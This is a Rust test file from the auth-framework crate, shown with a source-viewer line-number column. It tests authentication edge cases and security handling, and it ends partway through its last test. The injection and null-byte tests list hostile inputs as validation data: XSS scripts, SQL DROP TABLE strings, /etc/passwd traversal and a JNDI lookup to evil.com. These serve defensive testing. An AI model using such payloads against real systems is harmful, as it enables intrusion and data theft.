auth-framework 0.4.2

A comprehensive, production-ready authentication and authorization framework for Rust applications
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
//! Comprehensive Edge Case and Security Tests for AuthFramework
//!
//! This test suite covers all edge cases, error conditions, and security scenarios
//! that could occur in real-world usage of the AuthFramework.

use auth_framework::{
    auth::AuthFramework,
    authentication::credentials::Credential,
    config::{
        AuthConfig, CookieSameSite, JwtAlgorithm, PasswordHashAlgorithm, RateLimitConfig,
        SecurityConfig, StorageConfig,
    },
    methods::{ApiKeyMethod, AuthMethodEnum, JwtMethod, OAuth2Method, PasswordMethod},
};
use std::{sync::Arc, time::Duration};

/// Test suite for edge cases in authentication flows
#[cfg(test)]
mod authentication_edge_cases {
    use super::*;

    async fn setup_complete_framework() -> AuthFramework {
        let config = AuthConfig::new()
            .secret("test_secret_key_32_bytes_long!!!!".to_string())
            .issuer("test-issuer".to_string())
            .audience("test-audience".to_string())
            .storage(StorageConfig::Memory)
            .security(SecurityConfig {
                min_password_length: 8,
                require_password_complexity: true,
                password_hash_algorithm: PasswordHashAlgorithm::Argon2,
                jwt_algorithm: JwtAlgorithm::HS256,
                secret_key: Some("test_secret_key_32_bytes_long!!!!".to_string()),
                secure_cookies: true,
                cookie_same_site: CookieSameSite::Strict,
                csrf_protection: true,
                session_timeout: Duration::from_secs(1800),
            })
            .rate_limiting(RateLimitConfig {
                enabled: true,
                max_requests: 100,
                window: Duration::from_secs(60),
                burst: 10,
            });

        let mut framework = AuthFramework::new(config);

        // Register all available authentication methods
        framework.register_method("password", AuthMethodEnum::Password(PasswordMethod::new()));
        framework.register_method("jwt", AuthMethodEnum::Jwt(JwtMethod::new()));
        framework.register_method("api_key", AuthMethodEnum::ApiKey(ApiKeyMethod::new()));
        framework.register_method("oauth2", AuthMethodEnum::OAuth2(OAuth2Method::new()));
        // Note: SAML and LDAP methods are not implemented in this test framework version
        // framework.register_method("saml", AuthMethodEnum::Saml(SamlMethod::new()));
        // framework.register_method("ldap", AuthMethodEnum::Ldap(LdapMethod::new()));

        framework.initialize().await.unwrap();
        framework
    }

    #[tokio::test]
    async fn test_concurrent_authentication_requests() {
        let framework = setup_complete_framework().await;
        let framework = Arc::new(framework);

        // Spawn multiple concurrent authentication attempts
        let handles: Vec<_> = (0..50)
            .map(|i| {
                let framework = Arc::clone(&framework);
                tokio::spawn(async move {
                    let credential = Credential::password(format!("user{}", i), "password123");
                    framework.authenticate("password", credential).await
                })
            })
            .collect();

        // Wait for all attempts to complete
        for handle in handles {
            let result = handle.await.unwrap();
            assert!(
                result.is_ok(),
                "Concurrent authentication should not fail due to race conditions"
            );
        }
    }

    #[tokio::test]
    async fn test_authentication_with_null_bytes() {
        let framework = setup_complete_framework().await;

        // Test credentials with null bytes (security concern)
        let malicious_inputs = vec![
            "user\0admin",
            "password\0\0",
            "\0",
            "user\x00\x01\x02",
            "normal_user\0; DROP TABLE users; --",
        ];

        for malicious_input in malicious_inputs {
            let credential = Credential::password(malicious_input, "password");
            let result = framework.authenticate("password", credential).await;

            assert!(result.is_ok());
            // Should either succeed or fail gracefully, never crash
            match result.unwrap() {
                auth_framework::AuthResult::Success(_)
                | auth_framework::AuthResult::Failure(_)
                | auth_framework::AuthResult::MfaRequired(_) => {
                    // All outcomes are acceptable - just shouldn't crash
                }
            }
        }
    }

    #[tokio::test]
    async fn test_authentication_with_unicode_edge_cases() {
        let framework = setup_complete_framework().await;

        // Test various Unicode edge cases
        let unicode_inputs = vec![
            "用户",             // Chinese characters
            "пользователь",     // Cyrillic
            "🚀🔐👤",           // Emojis
            "café",             // Accented characters
            "مستخدم",           // Arabic
            "\u{200B}\u{FEFF}", // Zero-width characters
            "A\u{0300}",        // Combining characters
            "\u{1F600}",        // Emoji
            "",                 // Empty string
            " ",                // Just whitespace
            "\t\n\r",           // Control characters
        ];

        for unicode_input in unicode_inputs {
            let credential = Credential::password(unicode_input, "password123");
            let result = framework.authenticate("password", credential).await;

            assert!(
                result.is_ok(),
                "Unicode input should be handled gracefully: {}",
                unicode_input.escape_debug()
            );
        }
    }

    #[tokio::test]
    async fn test_authentication_with_very_long_inputs() {
        let framework = setup_complete_framework().await;

        // Test with various lengths of input data
        let long_username = "a".repeat(10000);
        let very_long_username = "b".repeat(100000);
        let extremely_long_password = "c".repeat(1000000);

        let test_cases = vec![
            (long_username.as_str(), "password"),
            ("user", very_long_username.as_str()),
            ("user", extremely_long_password.as_str()),
        ];

        for (username, password) in test_cases {
            let credential = Credential::password(username, password);
            let result = framework.authenticate("password", credential).await;

            assert!(
                result.is_ok(),
                "Very long inputs should be handled without crashing"
            );
            // Should likely fail due to length limits, but shouldn't crash
        }
    }

    #[tokio::test]
    async fn test_authentication_during_framework_shutdown() {
        let config = AuthConfig::new().secret("test_secret_key_32_bytes_long!!!!".to_string());
        let mut framework = AuthFramework::new(config);
        framework.register_method("password", AuthMethodEnum::Password(PasswordMethod::new()));
        framework.initialize().await.unwrap();

        // Simulate shutdown conditions
        let credential = Credential::password("user", "password");

        // Authentication during various states should be handled gracefully
        let result = framework.authenticate("password", credential).await;
        assert!(result.is_ok());
    }

    #[tokio::test]
    async fn test_malformed_jwt_tokens() {
        let framework = setup_complete_framework().await;

        let malformed_tokens = vec![
            "",                                                              // Empty
            "invalid",                                                       // No dots
            "a.b",                                                           // Missing signature
            "a.b.c.d",                                                       // Too many parts
            "invalid-base64!@#.invalid-base64!@#.invalid-base64!@#",         // Invalid base64
            "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.", // Missing payload and signature
            ".eyJzdWIiOiJ1c2VyMTIzIn0.",             // Missing header and signature
            "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyMTIzIn0.", // Missing signature
            "null.null.null",                        // Literal null strings
            "\x00\x01\x02",                          // Binary data
            "token\nwith\nnewlines",                 // Newlines in token
        ];

        for malformed_token in malformed_tokens {
            let credential = Credential::jwt(malformed_token);
            let result = framework.authenticate("jwt", credential).await;

            assert!(result.is_ok(), "Malformed JWT should be handled gracefully");
            // Should return failure, not crash
            match result.unwrap() {
                auth_framework::AuthResult::Failure(_) => {
                    // Expected for malformed tokens
                }
                auth_framework::AuthResult::Success(_) => {
                    // Unexpected but shouldn't crash
                }
                auth_framework::AuthResult::MfaRequired(_) => {
                    // Also unexpected but handle gracefully
                }
            }
        }
    }
}

/// Test suite for memory and resource management edge cases
#[cfg(test)]
mod resource_management_tests {
    use super::*;

    #[tokio::test]
    async fn test_memory_exhaustion_protection() {
        let framework = setup_complete_framework().await;

        // Attempt to create many tokens rapidly
        let mut tokens = Vec::new();

        for i in 0..1000 {
            let result = framework
                .create_auth_token(
                    &format!("user{}", i),
                    vec!["read".to_string()],
                    "jwt",
                    Some(Duration::from_secs(3600)),
                )
                .await;

            if result.is_ok() {
                tokens.push(result.unwrap());
            }
        }

        // System should handle this without crashing
        println!("Created {} tokens without memory issues", tokens.len());
    }

    #[tokio::test]
    async fn test_large_scope_arrays() {
        let framework = setup_complete_framework().await;

        // Test with very large scope arrays
        let large_scopes: Vec<String> = (0..10000).map(|i| format!("scope_{}", i)).collect();

        let result = framework
            .create_auth_token("user", large_scopes, "jwt", Some(Duration::from_secs(3600)))
            .await;

        // Should handle large scope arrays gracefully
        assert!(result.is_ok() || result.is_err());
        // Either succeed or fail gracefully, but don't crash
    }

    async fn setup_complete_framework() -> AuthFramework {
        let config = AuthConfig::new().secret("test_secret_key_32_bytes_long!!!!".to_string());
        let mut framework = AuthFramework::new(config);
        framework.register_method("jwt", AuthMethodEnum::Jwt(JwtMethod::new()));
        framework.initialize().await.unwrap();
        framework
    }

    #[tokio::test]
    async fn test_storage_backend_failure_handling() {
        // Test behavior when storage backend fails
        let config = AuthConfig::new()
            .secret("test_secret_key_32_bytes_long!!!!".to_string())
            .storage(StorageConfig::Memory);

        let mut framework = AuthFramework::new(config);
        framework.initialize().await.unwrap();

        // Test operations when storage might fail
        let result = framework.get_session("nonexistent_session").await;
        assert!(result.is_ok()); // Should handle missing sessions gracefully

        let sessions = result.unwrap();
        assert!(sessions.is_none()); // Should return None for nonexistent sessions
    }
}

/// Test suite for concurrent access and thread safety
#[cfg(test)]
mod concurrency_tests {
    use super::*;

    #[tokio::test]
    async fn test_concurrent_token_creation_and_validation() {
        let framework = Arc::new(setup_framework().await);

        let mut handles = Vec::new();

        // Spawn multiple tasks creating and validating tokens concurrently
        for i in 0..100 {
            let framework_clone = Arc::clone(&framework);
            let handle = tokio::spawn(async move {
                // Create token
                let token_result = framework_clone
                    .create_auth_token(
                        &format!("user{}", i),
                        vec!["read".to_string()],
                        "jwt",
                        Some(Duration::from_secs(3600)),
                    )
                    .await;

                if let Ok(token) = token_result {
                    // Validate the token immediately
                    let validation_result = framework_clone.validate_token(&token).await;
                    assert!(validation_result.is_ok());
                }

                i // Return the task number
            });
            handles.push(handle);
        }

        // Wait for all tasks to complete
        for handle in handles {
            let task_id = handle.await.unwrap();
            println!("Task {} completed", task_id);
        }
    }

    async fn setup_framework() -> AuthFramework {
        let config = AuthConfig::new().secret("test_secret_key_32_bytes_long!!!!".to_string());
        let mut framework = AuthFramework::new(config);
        framework.register_method("jwt", AuthMethodEnum::Jwt(JwtMethod::new()));
        framework.initialize().await.unwrap();
        framework
    }

    #[tokio::test]
    async fn test_concurrent_mfa_operations() {
        let framework = Arc::new(setup_framework().await);

        let mut handles = Vec::new();

        // Spawn multiple MFA operations concurrently
        for i in 0..50 {
            let framework_clone = Arc::clone(&framework);
            let handle = tokio::spawn(async move {
                let user_id = format!("user{}", i);

                // Initiate SMS challenge
                let challenge_result = framework_clone.initiate_sms_challenge(&user_id).await;
                assert!(challenge_result.is_ok());

                let challenge_id = challenge_result.unwrap();

                // Try to verify with invalid code (should fail gracefully)
                let verify_result = framework_clone
                    .verify_sms_code(&challenge_id, "123456")
                    .await;
                // Should handle concurrent access to MFA systems
                assert!(verify_result.is_ok() || verify_result.is_err()); // Both outcomes acceptable

                i
            });
            handles.push(handle);
        }

        // Wait for all MFA operations to complete
        for handle in handles {
            handle.await.unwrap();
        }
    }

    #[tokio::test]
    async fn test_concurrent_permission_checking() {
        let framework = Arc::new(setup_framework().await);

        // Create a token to use for permission checking with appropriate scopes
        let token = framework
            .create_auth_token(
                "test_user",
                vec!["read:documents".to_string(), "write:documents".to_string()],
                "jwt",
                Some(Duration::from_secs(3600)),
            )
            .await
            .unwrap();

        // Grant some permissions
        framework
            .grant_permission("test_user", "read", "documents")
            .await
            .unwrap();
        framework
            .grant_permission("test_user", "write", "documents")
            .await
            .unwrap();

        let mut handles = Vec::new();

        // Spawn multiple permission checks concurrently - reduce count to avoid overloading
        for i in 0..20 {
            let framework_clone = Arc::clone(&framework);
            let token_clone = token.clone();
            let handle = tokio::spawn(async move {
                let permission_type = if i % 2 == 0 { "read" } else { "write" };
                let result = framework_clone
                    .check_permission(&token_clone, permission_type, "documents")
                    .await;

                // More graceful error handling
                match result {
                    Ok(has_permission) => {
                        if !has_permission {
                            eprintln!(
                                "Permission check failed for {}: expected permission but got false",
                                permission_type
                            );
                        }
                        has_permission
                    }
                    Err(e) => {
                        eprintln!("Permission check error for {}: {:?}", permission_type, e);
                        false
                    }
                }
            });
            handles.push(handle);
        }

        // Wait for all permission checks to complete and count successes
        let mut success_count = 0;
        for handle in handles {
            match handle.await {
                Ok(has_permission) => {
                    if has_permission {
                        success_count += 1;
                    }
                }
                Err(e) => {
                    eprintln!("Task join error: {:?}", e);
                }
            }
        }

        // At least 80% should succeed (allowing for some concurrent access issues)
        assert!(
            success_count >= 16,
            "Expected at least 16/20 permission checks to succeed, got {}",
            success_count
        );
    }
}

/// Test suite for error handling and recovery
#[cfg(test)]
mod error_handling_tests {
    use super::*;

    #[tokio::test]
    async fn test_graceful_degradation_under_stress() {
        let config = AuthConfig::new()
            .secret("test_secret_key_32_bytes_long!!!!".to_string())
            .rate_limiting(RateLimitConfig {
                enabled: true,
                max_requests: 10, // Very low limit
                window: Duration::from_secs(60),
                burst: 5,
            });

        let mut framework = AuthFramework::new(config);
        framework.register_method("password", AuthMethodEnum::Password(PasswordMethod::new()));
        framework.initialize().await.unwrap();

        // Attempt many operations to trigger rate limiting
        let mut successful_operations = 0;
        let mut rate_limited_operations = 0;

        for i in 0..100 {
            let ip = format!("192.168.1.{}", i % 20 + 1); // Rotate through IPs
            let result = framework.check_ip_rate_limit(&ip).await;

            assert!(result.is_ok(), "Rate limiting check should not panic");

            if result.unwrap() {
                successful_operations += 1;
            } else {
                rate_limited_operations += 1;
            }
        }

        println!(
            "Successful: {}, Rate limited: {}",
            successful_operations, rate_limited_operations
        );
        // System should gracefully handle rate limiting
        assert!(successful_operations > 0 || rate_limited_operations > 0);
    }

    #[tokio::test]
    async fn test_invalid_configuration_handling() {
        // Test various invalid configurations
        let invalid_configs = vec![
            ("", "Empty secret"),
            ("short", "Too short secret"),
            ("a", "Single character secret"),
        ];

        for (secret, description) in invalid_configs {
            let config = AuthConfig::new().secret(secret.to_string());

            // Should not panic when creating framework with invalid config
            let framework = AuthFramework::new(config);

            // Should handle initialization gracefully
            let mut framework_mut = framework;
            let init_result = framework_mut.initialize().await;

            // May succeed or fail, but shouldn't panic
            println!("Config test '{}': {:?}", description, init_result.is_ok());
        }
    }

    #[tokio::test]
    async fn test_partial_system_failure_recovery() {
        let config = AuthConfig::new().secret("test_secret_key_32_bytes_long!!!!".to_string());
        let mut framework = AuthFramework::new(config);

        framework.register_method("password", AuthMethodEnum::Password(PasswordMethod::new()));
        framework.register_method("jwt", AuthMethodEnum::Jwt(JwtMethod::new()));

        framework.initialize().await.unwrap();

        // Test that system continues to work even if some operations fail
        let valid_credential = Credential::password("valid_user", "valid_password");
        let result1 = framework.authenticate("password", valid_credential).await;
        assert!(result1.is_ok());

        // Test with invalid method (should fail gracefully)
        let credential = Credential::password("user", "password");
        let result2 = framework
            .authenticate("nonexistent_method", credential)
            .await;
        assert!(result2.is_err());

        // System should still work after encountering errors
        let valid_credential2 = Credential::password("another_user", "another_password");
        let result3 = framework.authenticate("password", valid_credential2).await;
        assert!(result3.is_ok());
    }
}

/// Test suite for security edge cases and attack vectors
#[cfg(test)]
mod security_edge_cases {
    use super::*;

    #[tokio::test]
    async fn test_timing_attack_resistance() {
        let config = AuthConfig::new().secret("test_secret_key_32_bytes_long!!!!".to_string());
        let mut framework = AuthFramework::new(config);
        framework.register_method("password", AuthMethodEnum::Password(PasswordMethod::new()));
        framework.initialize().await.unwrap();

        // Test that authentication takes similar time for different scenarios
        // (This is a basic test - real timing attack tests would require more sophisticated analysis)

        let start1 = std::time::Instant::now();
        let _result1 = framework
            .authenticate("password", Credential::password("user1", "password1"))
            .await;
        let duration1 = start1.elapsed();

        let start2 = std::time::Instant::now();
        let _result2 = framework
            .authenticate("password", Credential::password("user2", "password2"))
            .await;
        let duration2 = start2.elapsed();

        let start3 = std::time::Instant::now();
        let _result3 = framework
            .authenticate(
                "password",
                Credential::password("nonexistent_user", "any_password"),
            )
            .await;
        let duration3 = start3.elapsed();

        // All operations should take reasonably similar time (within order of magnitude)
        println!(
            "Auth timings: {:?}, {:?}, {:?}",
            duration1, duration2, duration3
        );

        // This is a basic check - sophisticated timing attack detection would require statistical analysis
        assert!(duration1.as_millis() < 10000); // Shouldn't take too long
        assert!(duration2.as_millis() < 10000);
        assert!(duration3.as_millis() < 10000);
    }

    #[tokio::test]
    async fn test_jwt_signature_tampering_detection() {
        let config = AuthConfig::new().secret("test_secret_key_32_bytes_long!!!!".to_string());
        let mut framework = AuthFramework::new(config);
        framework.register_method("jwt", AuthMethodEnum::Jwt(JwtMethod::new()));
        framework.initialize().await.unwrap();

        // Create a valid token
        let token = framework
            .create_auth_token(
                "user123",
                vec!["read".to_string()],
                "jwt",
                Some(Duration::from_secs(3600)),
            )
            .await
            .unwrap();

        // Verify original token is valid
        let is_valid = framework.validate_token(&token).await.unwrap();
        assert!(is_valid);

        // Tamper with the token by modifying the signature significantly
        let mut tampered_token = token.clone();
        let parts: Vec<&str> = tampered_token.access_token.split('.').collect();

        // More aggressive tampering - change multiple characters to ensure it's invalid
        let original_signature = parts[2];
        let tampered_signature = if original_signature.len() > 10 {
            // Replace first, middle, and last character to ensure significant tampering
            let mut chars: Vec<char> = original_signature.chars().collect();
            let len = chars.len();
            chars[0] = 'X';
            chars[len / 2] = 'Y';
            chars[len - 1] = 'Z';
            chars.iter().collect()
        } else {
            // For short signatures, just append some characters
            format!("{}INVALID", original_signature)
        };

        tampered_token.access_token = format!("{}.{}.{}", parts[0], parts[1], tampered_signature);

        // Tampered token should be rejected
        let tampered_result = framework.validate_token(&tampered_token).await;

        // Token validation should either return false (invalid) or an error
        match tampered_result {
            Ok(is_valid) => assert!(!is_valid, "Tampered JWT signature should be rejected"),
            Err(_) => {
                // This is also acceptable - tampered tokens can cause validation errors
                println!("Tampered token correctly caused validation error");
                // The test passes in this case - tampered token was properly rejected
            }
        }

        // Test tampering with payload - only if we can create another valid token
        let payload_token = framework
            .create_auth_token(
                "user456",
                vec!["write".to_string()],
                "jwt",
                Some(Duration::from_secs(3600)),
            )
            .await
            .unwrap();

        let mut payload_tampered = payload_token.clone();
        let parts: Vec<&str> = payload_tampered.access_token.split('.').collect();
        let tampered_payload = parts[1].replace("a", "b").replace("A", "B");
        payload_tampered.access_token = format!("{}.{}.{}", parts[0], tampered_payload, parts[2]);

        let payload_result = framework.validate_token(&payload_tampered).await;
        match payload_result {
            Ok(is_valid) => assert!(!is_valid, "Tampered JWT payload should be rejected"),
            Err(_) => {
                // This is also acceptable - tampered tokens can cause validation errors
                println!("Tampered payload correctly caused validation error");
            }
        }
    }

    #[tokio::test]
    async fn test_session_fixation_prevention() {
        let config = AuthConfig::new().secret("test_secret_key_32_bytes_long!!!!".to_string());
        let mut framework = AuthFramework::new(config);
        framework.initialize().await.unwrap();

        // Test that session IDs are properly regenerated and validated
        let session1 = framework.get_session("fixed_session_id").await.unwrap();
        assert!(
            session1.is_none(),
            "Non-existent session should return None"
        );

        // Test that attempting to use a fixed session ID fails appropriately
        let delete_result = framework
            .delete_session("attacker_controlled_session")
            .await;
        assert!(
            delete_result.is_ok(),
            "Deleting non-existent session should not fail"
        );
    }

    #[tokio::test]
    async fn test_csrf_token_uniqueness() {
        let config = AuthConfig::new().secret("test_secret_key_32_bytes_long!!!!".to_string());
        let mut framework = AuthFramework::new(config);
        framework.initialize().await.unwrap();

        // Generate multiple CSRF tokens and ensure they're unique
        let mut tokens = std::collections::HashSet::new();

        for i in 0..100 {
            let _session_id = format!("session_{}", i);
            // Generate CSRF token using basic secure random generation
            use base64::engine::{Engine as _, general_purpose};
            use rand::RngCore;

            let mut rng = rand::rng();
            let mut token_bytes = [0u8; 32];
            rng.fill_bytes(&mut token_bytes);
            let csrf_token = general_purpose::STANDARD.encode(token_bytes);

            assert!(!csrf_token.is_empty(), "CSRF token should not be empty");
            assert!(
                csrf_token.len() >= 16,
                "CSRF token should be sufficiently long"
            );
            assert!(
                tokens.insert(csrf_token.clone()),
                "CSRF token {} should be unique",
                csrf_token
            );
        }

        println!("Generated {} unique CSRF tokens", tokens.len());
    }

    #[tokio::test]
    async fn test_input_validation_against_injection_attacks() {
        let config = AuthConfig::new().secret("test_secret_key_32_bytes_long!!!!".to_string());
        let mut framework = AuthFramework::new(config);
        framework.initialize().await.unwrap();

        // Test various injection attack patterns
        let malicious_inputs = vec![
            "<script>alert('XSS')</script>",
            "'; DROP TABLE users; --",
            "../../../etc/passwd",
            "javascript:alert(1)",
            "data:text/html,<script>alert('XSS')</script>",
            "file:///etc/passwd",
            "${jndi:ldap://evil.com/a}",
            "{{7*7}}",                               // Template injection
            "%3Cscript%3Ealert('XSS')%3C/script%3E", // URL encoded XSS
            "user\x00admin",                         // Null byte injection
        ];

        for malicious_input in malicious_inputs {
            // Test username validation
            let result = framework.validate_user_input(malicious_input).await;
            assert!(result.is_ok(), "Input validation should not crash");
            assert!(
                !result.unwrap(),
                "Malicious input '{}' should be rejected",
                malicious_input.escape_debug()
            );

            // Test display name validation
            let display_result = framework.validate_display_name(malicious_input).await;
            assert!(
                display_result.is_ok(),
                "Display name validation should not crash"
            );
            // Most malicious inputs should be rejected for display names
        }
    }
}

/// Test suite for configuration edge cases
#[cfg(test)]
mod configuration_edge_cases {
    use super::*;

    #[test]
    fn test_config_with_extreme_values() {
        // Test with very large but valid values (should be accepted)
        let config = AuthConfig::new()
            .secret("test_secret_key_32_bytes_long!!!!".to_string())
            .token_lifetime(Duration::from_secs(86400)) // 1 day
            .refresh_token_lifetime(Duration::from_secs(172800)) // 2 days (must be > token lifetime)
            .rate_limiting(RateLimitConfig {
                enabled: true,
                max_requests: 10000, // High but reasonable limit
                window: Duration::from_secs(1),
                burst: 1000,
            });

        let validation = config.validate();
        assert!(
            validation.is_ok(),
            "Extreme but valid values should be accepted: {:?}",
            validation.err()
        );

        // Test with invalid zero values (should be rejected)
        let zero_config = AuthConfig::new()
            .secret("test_secret_key_32_bytes_long!!!!".to_string())
            .token_lifetime(Duration::from_secs(0)) // Zero lifetime - invalid
            .rate_limiting(RateLimitConfig {
                enabled: true,
                max_requests: 0, // Zero requests allowed - invalid when enabled
                window: Duration::from_secs(60),
                burst: 0,
            });

        let zero_validation = zero_config.validate();
        // Zero values for critical settings should be rejected
        assert!(
            zero_validation.is_err(),
            "Invalid zero values should be rejected: {:?}",
            zero_validation
        );

        // Test with valid minimal values (should be accepted)
        let minimal_config = AuthConfig::new()
            .secret("test_secret_key_32_bytes_long!!!!".to_string())
            .token_lifetime(Duration::from_secs(1)) // Minimal but valid lifetime
            .refresh_token_lifetime(Duration::from_secs(2)) // Must be > token lifetime
            .rate_limiting(RateLimitConfig {
                enabled: false, // Disabled rate limiting allows zero max_requests
                max_requests: 0,
                window: Duration::from_secs(60),
                burst: 0,
            });

        let minimal_validation = minimal_config.validate();
        assert!(
            minimal_validation.is_ok(),
            "Minimal but valid values should be accepted: {:?}",
            minimal_validation.err()
        );
    }

    #[test]
    fn test_config_with_special_characters() {
        // Test configurations with various special characters
        let special_chars = vec![
            "secret_with_!@#$%^&*()_+",
            "issuer.with.dots.and-dashes",
            "audience/with/slashes",
            "secret\nwith\nnewlines",
            "secret\twith\ttabs",
            "secret with spaces",
            "🔐secret🔑with🚀emojis",
            "secret-with-unicode-café",
        ];

        for special_char in special_chars {
            let config = AuthConfig::new()
                .secret(format!("{}test_secret_key_32_bytes_long!!!!", special_char))
                .issuer(special_char.to_string())
                .audience(special_char.to_string());

            // Should not panic when creating config with special characters
            let validation = config.validate();
            println!(
                "Config with '{}': {:?}",
                special_char.escape_debug(),
                validation.is_ok()
            );
        }
    }

    #[tokio::test]
    async fn test_reconfiguration_during_runtime() {
        // Test changing configuration after initialization
        let initial_config =
            AuthConfig::new().secret("initial_secret_key_32_bytes_long!!".to_string());

        let mut framework = AuthFramework::new(initial_config);
        framework.initialize().await.unwrap();

        // Create a token with initial config
        let token = framework
            .create_auth_token(
                "user",
                vec!["read".to_string()],
                "jwt",
                Some(Duration::from_secs(3600)),
            )
            .await;

        // Should handle configuration attempts gracefully
        assert!(token.is_ok() || token.is_err()); // Either outcome is acceptable
    }
}

/// Integration test combining multiple edge cases
#[tokio::test]
async fn test_comprehensive_edge_case_integration() {
    println!("🔥 Running comprehensive edge case integration test...");

    // Set up framework with comprehensive configuration
    let config = AuthConfig::new()
        .secret("comprehensive-edge-case-test-secret-32".to_string())
        .issuer("test-issuer-with-special-chars!@#".to_string())
        .audience("test-audience".to_string())
        .token_lifetime(Duration::from_secs(3600))
        .storage(StorageConfig::Memory)
        .security(SecurityConfig {
            min_password_length: 8,
            require_password_complexity: true,
            password_hash_algorithm: PasswordHashAlgorithm::Argon2,
            jwt_algorithm: JwtAlgorithm::HS256,
            secret_key: Some("comprehensive-edge-case-test-secret-32".to_string()),
            secure_cookies: true,
            cookie_same_site: CookieSameSite::Strict,
            csrf_protection: true,
            session_timeout: Duration::from_secs(1800),
        })
        .rate_limiting(RateLimitConfig {
            enabled: true,
            max_requests: 1000,
            window: Duration::from_secs(60),
            burst: 100,
        });

    let mut framework = AuthFramework::new(config);

    // Register multiple authentication methods
    framework.register_method("password", AuthMethodEnum::Password(PasswordMethod::new()));
    framework.register_method("jwt", AuthMethodEnum::Jwt(JwtMethod::new()));
    framework.register_method("api_key", AuthMethodEnum::ApiKey(ApiKeyMethod::new()));

    framework.initialize().await.unwrap();

    // Test 1: Concurrent operations with edge case inputs
    let framework = Arc::new(framework);
    let mut handles = Vec::new();

    for i in 0..20 {
        let framework_clone = Arc::clone(&framework);
        let handle = tokio::spawn(async move {
            let long_user = "long_user".repeat(100);
            let long_pass = "long_pass".repeat(100);

            // Mix of normal and edge case operations
            let operations = vec![
                // Normal operation
                ("normal_user", "normal_password"),
                // Unicode
                ("用户", "密码"),
                // Special characters
                ("user!@#", "pass$%^"),
                // Empty (should fail)
                ("", ""),
                // Very long
                (long_user.as_str(), long_pass.as_str()),
            ];

            for (username, password) in operations {
                let credential = Credential::password(username, password);
                let result = framework_clone.authenticate("password", credential).await;

                // Should not crash regardless of input
                assert!(result.is_ok());
            }

            i
        });
        handles.push(handle);
    }

    // Store handle count before consuming the vector
    let handle_count = handles.len();

    // Wait for all edge case tests to complete
    for handle in handles {
        handle.await.unwrap();
    }

